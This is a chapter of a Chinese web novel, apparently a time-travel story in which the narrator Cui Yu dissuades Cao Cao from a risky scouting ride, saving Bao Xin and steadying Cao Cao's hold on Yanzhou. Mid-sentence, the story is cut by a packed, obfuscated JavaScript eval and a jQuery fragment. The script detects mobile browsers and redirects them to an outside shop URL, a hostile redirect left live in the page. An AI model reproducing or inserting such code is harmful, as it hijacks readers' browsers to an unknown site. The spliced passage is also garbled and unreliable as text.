一支数千人的军队缓缓向东而行，旌旗猎猎，战马嘶鸣。
曹操骑在马上，身后跟着夏侯惇、夏侯渊等心腹将领。
崔瑜则与荀彧同乘一辆马车，他偶尔掀开车帘看一眼外面的景象。
与刚来到东郡时相比，如今曹军的气势已经完全不同了。
虽然算不上装备精良，但士兵们一个个精神饱满，行军之间也颇为整齐。
尤其是经过这段时间的训练和作战，曹操麾下的军队已经逐渐形成了一股属于自己的气势。
崔瑜看着外面的士兵，心里忍不住感慨：
如今这个看起来还只有数千兵马的曹操，未来竟然会成为北方最强大的诸侯。
远处忽然传来一阵急促的马蹄声，只见一名斥候策马赶来。
“报！”
“前方发现鲍将军的军队！”
曹操闻言，当即勒住缰绳。
不多时一支军队出现在众人视野之中，为首之人身材魁梧，面容粗犷，正是鲍信。
鲍信见到曹操，立刻翻身下马。
“孟德！”
“允诚！”
两人快步上前，互相致意。
鲍信拍拍曹操的肩膀说道：“许久不见，孟德如今可真是威风了。”
曹操闻言谦虚道：“我不过是勉强保住东郡而已，倒是允诚你，这一路辛苦了。”
两人寒暄片刻，很快便将话题转到了兖州局势上。
崔瑜坐在马车里远远看着，这还是他第一次见到鲍信。
他对鲍信的印象并不深，毕竟此人在历史记载里下线太早了，但如今看来应该是个挺不错的人。
而且最重要的是他还活着，崔瑜在心里默默松了口气。
只要鲍信还活着，很多事情就还有转圜的余地。
众人汇合之后，继续向寿春方向前进。
而就在他们行军的同时，在遥远的长安也发生了一件足以改变天下局势的大事。
初平三年五月，董卓在长安被吕布杀死。
这个曾经权倾朝野，将整个大汉朝廷玩弄于股掌之间的西凉军阀，最终死在了自己最信任的部将手中。
吕布持戟入宫将其一击毙命，随后董卓的尸体被弃于街市，董氏一族亦遭到诛灭。
消息传到曹操军中时，众人都有些震惊。
“董卓死了？”
曹操看着手中的军报，脸上露出几分复杂之色。
他虽然早就料到董卓迟早会有这一天，但真正听到消息时还是让人有些感慨。
夏侯惇闻言冷哼一声：“董贼倒行逆施，成日搜刮民脂民膏，落得这个下场也是死有余辜。”
旁边的夏侯渊也是不住地点头：“但没想到杀董卓的人竟然是吕布，吕布可是他的义子啊。”
崔瑜沉默地坐在一旁，他的脑海里却浮现出另外一个地方：
郿坞，那座董卓曾经无比得意的坚固堡垒。
当初董卓曾对人说过：“吾事成，雄据天下；不成，守此足以毕老。【1】”
可如今董卓死了，郿坞也随之被攻破。
昔日金碧辉煌的建筑，如今已经变成了一片废墟。董卓苦心经营的一切最终全部化为了泡影。
抵达寿春之后，曹操开始着手整合周围的兵马。这件事说起来简单，但真正做起来却没有那么容易。
曹操从东郡带来的士卒虽然训练有素，但毕竟人数有限。
而兖州本土军队虽然数量不少，来源却也十分复杂：
有地方郡兵、豪强私兵，还有不少临时招募起来的青壮。
这些人现在虽然名义上都归于曹操麾下，但实际上各有各的头领，执行的军令不一，甚至彼此之间还有些互相看不顺眼。
曹操见状并没有慌乱，他先是将各部军队重新编制，统一粮饷和军械，再逐步调整各级将领。
经过一番整合之后，军队总算勉强形成了统一的指挥体系。
但此时出现了一个问题：他们如今兵力虽然增加，但对于敌人的情报却几乎一无所知。
青州黄巾军正在向兖州境内活动，且人数众多。
而且这些黄巾军并不都是普通的流民，其中有大量久经战阵的老兵。
更麻烦的是，对方行动飘忽不定，根本无法确定主力究竟在什么地方。
曹操站在地图前沉思良久：“若能知道黄巾军主力的位置，便可以提前做好准备。”
他沉吟片刻：“如今军中刚刚完成整合，坐在这里干等也不是办法，我打算率数百精骑前去探查。若能找到黄巾军踪迹最好，找不到也能熟悉一下周围环境。”
崔瑜听完心里顿时咯噔一下。
历史上的曹操正是这次率兵侦查遭遇黄巾埋伏，导致鲍信死亡，引发出后续一系列的混乱。
他当即毫不犹豫地出言反对：“明公不可！”
曹操微微一怔：“为何？”
崔瑜指着地图：“如今敌暗我明，明公贸然带兵出去，极有可能遭遇埋伏。而且如今明公刚刚接掌兖州，正是军心未稳之时。”
“若明公出了意外，整个兖州必然大乱。到那时候，别说对付黄巾军，只怕连如今的局面都保不住啊。”
曹操皱起眉头：“可若一直留在这里，也无法知道敌军动向。”
崔瑜强忍焦急情绪，好声好气地劝曹操：“明公下令多派几队斥候向四周探查即可，搜查情报之事没必要主帅亲自上阵。”
这时候，鲍信也开口了：“孟德，我觉得此言有理。如今你才刚刚接掌兖州，确实不宜亲自冒险。”
他的态度十分坚决：“你是兖州的主心骨，万万不可轻易涉险。”
曹操沉默片刻，最终点了点头：“好，那便依你们。”
崔瑜暗暗松了一口气，总算是把曹操给劝住了。
很快数队斥候被派了出去。
然而仅仅过去了半日，第一批斥候便狼狈逃了回来。原本二十余人的队伍，如今只剩下十余人。
剩下的人全都不见了踪影。
“怎么回事？”曹操脸色骤然一变。
领头的斥候跪在地上，声音发颤：
“回禀主公！我等在前方发现敌军踪迹，本想靠近探查，却突然遭到伏击！”
“对方人数太多，我等拼死突围，这才逃了回来！”
曹操沉默了，他看着眼前这些狼狈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890942|212730||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不堪的士卒，久久没有说话。
一旁站着的夏侯兄弟脸色也变得凝重起来。
他们谁都没有想到崔瑜之前说的事情，竟然真的发生了。
曹操缓步走向崔瑜，向他郑重行了一礼：
“多谢先生出言劝阻，否则我今日恐怕就不能好好地站在这里了。”
崔瑜连忙阻止曹操的动作：“我也只是推测，谨慎些行事总没有坏处，明公不必太放在心上。”
曹操看着他的眼神已经和之前完全不同，之前更多的是对他巧思的欣赏，现在则变成了敬重与信赖。
此人不仅能够提出屯田、改良军械之法，如今对于战场局势也有如此敏锐的判断。
更重要的是他敢在自己准备亲自出兵的时候直接站出来劝阻，这份胆识可不是一般人能够拥有的。
崔瑜此人，实乃不可多得的奇才啊！
“操得遇先生，乃上天恩赐的缘分。”
崔瑜尴尬地挠挠头：“明公谬赞了。”
他虽然嘴上这么说，但得到认可，心里还是很高兴的。
这就是成为得到主君信任的高级谋士的感觉吗？
接下来的几日曹操更加地谨慎了，他一边派人继续探查敌军动向，一边整顿各部兵马。
如今真正让他头疼的并不是黄巾军，而是兖州内部。
曹操毕竟是外来者，虽然被鲍信等人推举为兖州牧，但兖州本土士人对他并没有多少信任。
有人认为曹操出身宦官之后，担心他只是借着平定黄巾之名将兖州变成自己的地盘。
甚至还有一些地方豪强对曹操的命令阳奉阴违。
曹操对此自然心知肚明，可他如今根基未稳，也不可能直接对这些人动手。
这只会让局势变得更加复杂。
好在还有鲍信，无论其他人如何怀疑，鲍信始终坚定站在曹操这一边。
甚至在一些士人在背后说酸话质疑曹操的时候，鲍信也会毫不犹豫地站出来替他打抱不平。
“如今兖州危急，诸位不思如何平定黄巾，反倒在这里争论这些？难道诸位以为如今的兖州是什么香饽饽吗？”
“若连这个时候都不能同心协力，等贼人杀到城下，我们大伙就可以一起下黄泉了。”
鲍信这一番话说得毫不客气，不少人虽然心里不服，却也只能暂时闭嘴。
曹操神色复杂地看着鲍信的背影。崔瑜站在曹操的身旁，也同样看着这一幕。
原来鲍信是如此坚定的相信着，支持着曹操。还好自己成功劝阻了他，阻止了悲剧的发生。
鲍信那天对城中士人的怒骂起了作用。
鲍信官居济北相，在兖州官僚里面颇有名望，经过他一番担保，还真有不少人决定暂时相信曹操。
曹操也真的没有辜负他们的期待，他依靠东郡带来的精锐，再加上逐渐整合起来的兖州兵马，组成了一支强劲的队伍。
这支队伍开始不断袭扰黄巾军的粮道和后方，消耗着黄巾军的战斗力。
而随着一次次胜利，原本对曹操心存疑虑的兖州士人，也慢慢改变了态度。
整个兖州的氛围，在不知不觉中慢慢发生变化。